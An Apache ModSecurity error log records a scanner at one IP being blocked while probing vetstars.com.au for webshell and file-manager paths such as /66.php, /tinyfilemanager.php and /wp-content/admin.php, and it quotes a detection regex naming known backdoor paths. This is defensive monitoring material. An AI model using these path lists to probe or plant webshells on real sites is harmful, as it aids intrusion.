[Thu Apr 16 21:42:16.827551 2026] [:error] [pid 57639:tid 57646] [client 51.13.190.245:33418] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aeDnOKMCQoTw7TsxWunAHAAAAMA"]
[Thu Apr 16 21:42:17.384924 2026] [:error] [pid 7880:tid 7896] [client 51.13.190.245:52347] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aeDnOaaezm4fSGc0yUKzygAAAYs"]
[Thu Apr 16 21:42:18.010149 2026] [:error] [pid 49094:tid 49109] [client 51.13.190.245:53556] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeDnOjbDwvcXorHR_MztlgAAAU0"]
[Thu Apr 16 21:42:18.667507 2026] [:error] [pid 57639:tid 57653] [client 51.13.190.245:52318] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeDnOqMCQoTw7TsxWunAIgAAAMc"]
[Thu Apr 16 21:42:19.343375 2026] [:error] [pid 49094:tid 49113] [client 51.13.190.245:21260] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeDnOzbDwvcXorHR_MztmgAAAVE"]
[Thu Apr 16 21:42:19.955733 2026] [:error] [pid 49094:tid 49106] [client 51.13.190.245:47461] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeDnOzbDwvcXorHR_MztnAAAAUo"]
[Thu Apr 16 21:42:20.564954 2026] [:error] [pid 49094:tid 49098] [client 51.13.190.245:52333] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aeDnPDbDwvcXorHR_MztnwAAAUI"]
[Thu Apr 16 21:42:21.083937 2026] [:error] [pid 49094:tid 49118] [client 51.13.190.245:47454] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aeDnPTbDwvcXorHR_MztowAAAVY"]
[Thu Apr 16 21:42:21.677500 2026] [:error] [pid 29603:tid 29614] [client 51.13.190.245:52313] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aeDnPVfGOR6fpTWUAzqeXwAAAQk"]
[Thu Apr 16 21:42:22.436463 2026] [:error] [pid 7880:tid 7906] [client 51.13.190.245:53511] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aeDnPqaezm4fSGc0yUKzywAAAZU"]
[Thu Apr 16 21:42:23.056244 2026] [:error] [pid 49094:tid 49101] [client 51.13.190.245:33455] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "aeDnPzbDwvcXorHR_MztqAAAAUU"]
[Thu Apr 16 21:42:23.724107 2026] [:error] [pid 49094:tid 49119] [client 51.13.190.245:29845] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "aeDnPzbDwvcXorHR_MztrAAAAVc"]
[Thu Apr 16 21:42:24.493541 2026] [:error] [pid 49094:tid 49118] [client 51.13.190.245:33226] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "aeDnQDbDwvcXorHR_MztsAAAAVY"]
[Thu Apr 16 21:42:25.199578 2026] [:error] [pid 49094:tid 49100] [client 51.13.190.245:21153] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "aeDnQTbDwvcXorHR_MztsQAAAUQ"]
[Thu Apr 16 21:42:25.754690 2026] [:error] [pid 57537:tid 57591] [client 51.13.190.245:47657] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aeDnQVVQRS8nm73ENAm8twAAAFA"]
[Thu Apr 16 21:42:26.333371 2026] [:error] [pid 57639:tid 57646] [client 51.13.190.245:29864] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aeDnQqMCQoTw7TsxWunAKQAAAMA"]
[Thu Apr 16 21:42:26.926775 2026] [:error] [pid 49094:tid 49103] [client 51.13.190.245:33231] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aeDnQjbDwvcXorHR_MztswAAAUc"]
[Thu Apr 16 21:42:27.534331 2026] [:error] [pid 7880:tid 7892] [client 51.13.190.245:47651] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aeDnQ6aezm4fSGc0yUKz0gAAAYc"]
[Thu Apr 16 21:42:28.193271 2026] [:error] [pid 7880:tid 7904] [client 51.13.190.245:47634] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aeDnRKaezm4fSGc0yUKz0wAAAZM"]
[Thu Apr 16 21:42:28.806819 2026] [:error] [pid 29603:tid 29621] [client 51.13.190.245:47468] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aeDnRFfGOR6fpTWUAzqeYQAAARA"]
[Thu Apr 16 21:42:29.392666 2026] [:error] [pid 57538:tid 57621] [client 51.13.190.245:13272] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aeDnRcuMaiEF5SVR2BfpigAAAJM"]
[Thu Apr 16 21:42:30.024767 2026] [:error] [pid 7880:tid 7893] [client 51.13.190.245:47662] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aeDnRqaezm4fSGc0yUKz1wAAAYg"]
[Thu Apr 16 21:42:30.599099 2026] [:error] [pid 57538:tid 57608] [client 51.13.190.245:47430] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aeDnRsuMaiEF5SVR2BfpiwAAAIY"]
[Thu Apr 16 21:42:31.157748 2026] [:error] [pid 49094:tid 49096] [client 51.13.190.245:33223] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aeDnRzbDwvcXorHR_MztuAAAAUA"]
[Thu Apr 16 21:42:31.700481 2026] [:error] [pid 49094:tid 49119] [client 51.13.190.245:47473] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aeDnRzbDwvcXorHR_MztuwAAAVc"]
[Thu Apr 16 21:42:32.252597 2026] [:error] [pid 7880:tid 7885] [client 51.13.190.245:33415] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aeDnSKaezm4fSGc0yUKz2wAAAYA"]
[Thu Apr 16 21:42:32.809974 2026] [:error] [pid 7880:tid 7906] [client 51.13.190.245:29842] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aeDnSKaezm4fSGc0yUKz3gAAAZU"]
[Thu Apr 16 21:42:33.361089 2026] [:error] [pid 7880:tid 7898] [client 51.13.190.245:53562] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aeDnSaaezm4fSGc0yUKz4QAAAY0"]
[Thu Apr 16 21:42:33.885406 2026] [:error] [pid 49094:tid 49100] [client 51.13.190.245:30602] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aeDnSTbDwvcXorHR_MztvwAAAUQ"]
[Thu Apr 16 21:42:34.451720 2026] [:error] [pid 57537:tid 57588] [client 51.13.190.245:47451] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aeDnSlVQRS8nm73ENAm8ugAAAE0"]
[Thu Apr 16 21:42:34.971799 2026] [:error] [pid 49094:tid 49107] [client 51.13.190.245:33453] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aeDnSjbDwvcXorHR_Mzt2wAAAUs"]
[Thu Apr 16 21:42:35.528776 2026] [:error] [pid 7880:tid 7903] [client 51.13.190.245:21264] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aeDnS6aezm4fSGc0yUKz6wAAAZI"]
[Thu Apr 16 21:43:22.830887 2026] [:error] [pid 7880:tid 7885] [client 51.13.190.245:47467] [client 51.13.190.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeDneqaezm4fSGc0yUK0NwAAAYA"]
[Thu Apr 16 21:43:31.767842 2026] [:error] [pid 57639:tid 57646] [client 51.13.190.245:47439] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aeDng6MCQoTw7TsxWunAswAAAMA"]
[Thu Apr 16 21:43:32.302187 2026] [:error] [pid 49094:tid 49110] [client 51.13.190.245:47637] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aeDnhDbDwvcXorHR_MzufAAAAU4"]
[Thu Apr 16 21:43:32.840342 2026] [:error] [pid 29603:tid 29613] [client 51.13.190.245:33456] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aeDnhFfGOR6fpTWUAzqemAAAAQg"]
[Thu Apr 16 21:43:33.393022 2026] [:error] [pid 49094:tid 49117] [client 51.13.190.245:52337] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aeDnhTbDwvcXorHR_MzujQAAAVU"]
[Thu Apr 16 21:43:34.054756 2026] [:error] [pid 49094:tid 49113] [client 51.13.190.245:33454] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeDnhjbDwvcXorHR_MzukgAAAVE"]
[Thu Apr 16 21:43:34.659178 2026] [:error] [pid 57639:tid 57656] [client 51.13.190.245:33247] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeDnhqMCQoTw7TsxWunAuAAAAMo"]
[Thu Apr 16 21:43:35.248705 2026] [:error] [pid 57639:tid 57649] [client 51.13.190.245:47639] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeDnh6MCQoTw7TsxWunAvgAAAMM"]
[Thu Apr 16 21:43:35.885966 2026] [:error] [pid 49094:tid 49097] [client 51.13.190.245:30604] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeDnhzbDwvcXorHR_MzulgAAAUE"]
[Thu Apr 16 21:43:36.742000 2026] [:error] [pid 57639:tid 57668] [client 51.13.190.245:25187] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeDniKMCQoTw7TsxWunAygAAANY"]
[Thu Apr 16 21:43:37.512290 2026] [:error] [pid 57538:tid 57604] [client 51.13.190.245:24672] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeDnicuMaiEF5SVR2BfpygAAAII"]
[Thu Apr 16 21:43:38.200976 2026] [:error] [pid 57536:tid 57571] [client 51.13.190.245:33454] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeDniiQU4faGja6jpDuKiAAAABc"]
[Thu Apr 16 21:43:39.112012 2026] [:error] [pid 7880:tid 7903] [client 51.13.190.245:52291] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeDni6aezm4fSGc0yUK0SwAAAZI"]
[Thu Apr 16 21:43:39.814295 2026] [:error] [pid 57639:tid 57669] [client 51.13.190.245:30606] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeDni6MCQoTw7TsxWunA0gAAANc"]
[Thu Apr 16 21:43:40.525254 2026] [:error] [pid 57639:tid 57646] [client 51.13.190.245:52331] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeDnjKMCQoTw7TsxWunA1wAAAMA"]
[Thu Apr 16 21:43:41.137419 2026] [:error] [pid 57639:tid 57647] [client 51.13.190.245:30605] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeDnjaMCQoTw7TsxWunA4AAAAME"]
[Thu Apr 16 21:43:41.690955 2026] [:error] [pid 57639:tid 57663] [client 51.13.190.245:47465] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeDnjaMCQoTw7TsxWunA6wAAANE"]
[Thu Apr 16 21:43:42.526372 2026] [:error] [pid 57639:tid 57646] [client 51.13.190.245:47661] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aeDnjqMCQoTw7TsxWunA9AAAAMA"]
[Thu Apr 16 21:43:43.239253 2026] [:error] [pid 57639:tid 57669] [client 51.13.190.245:33424] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aeDnj6MCQoTw7TsxWunBAQAAANc"]
[Thu Apr 16 21:43:43.852479 2026] [:error] [pid 57639:tid 57668] [client 51.13.190.245:47636] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aeDnj6MCQoTw7TsxWunBCQAAANY"]
[Thu Apr 16 21:43:44.411156 2026] [:error] [pid 57536:tid 57565] [client 51.13.190.245:47487] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aeDnkCQU4faGja6jpDuKnQAAABE"]
[Thu Apr 16 21:43:44.965058 2026] [:error] [pid 57536:tid 57557] [client 51.13.190.245:30651] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aeDnkCQU4faGja6jpDuKoQAAAAk"]
[Thu Apr 16 21:43:45.540409 2026] [:error] [pid 57639:tid 57650] [client 51.13.190.245:24654] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aeDnkaMCQoTw7TsxWunBJgAAAMQ"]
[Thu Apr 16 21:43:46.087814 2026] [:error] [pid 57639:tid 57655] [client 51.13.190.245:25168] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aeDnkqMCQoTw7TsxWunBKwAAAMk"]
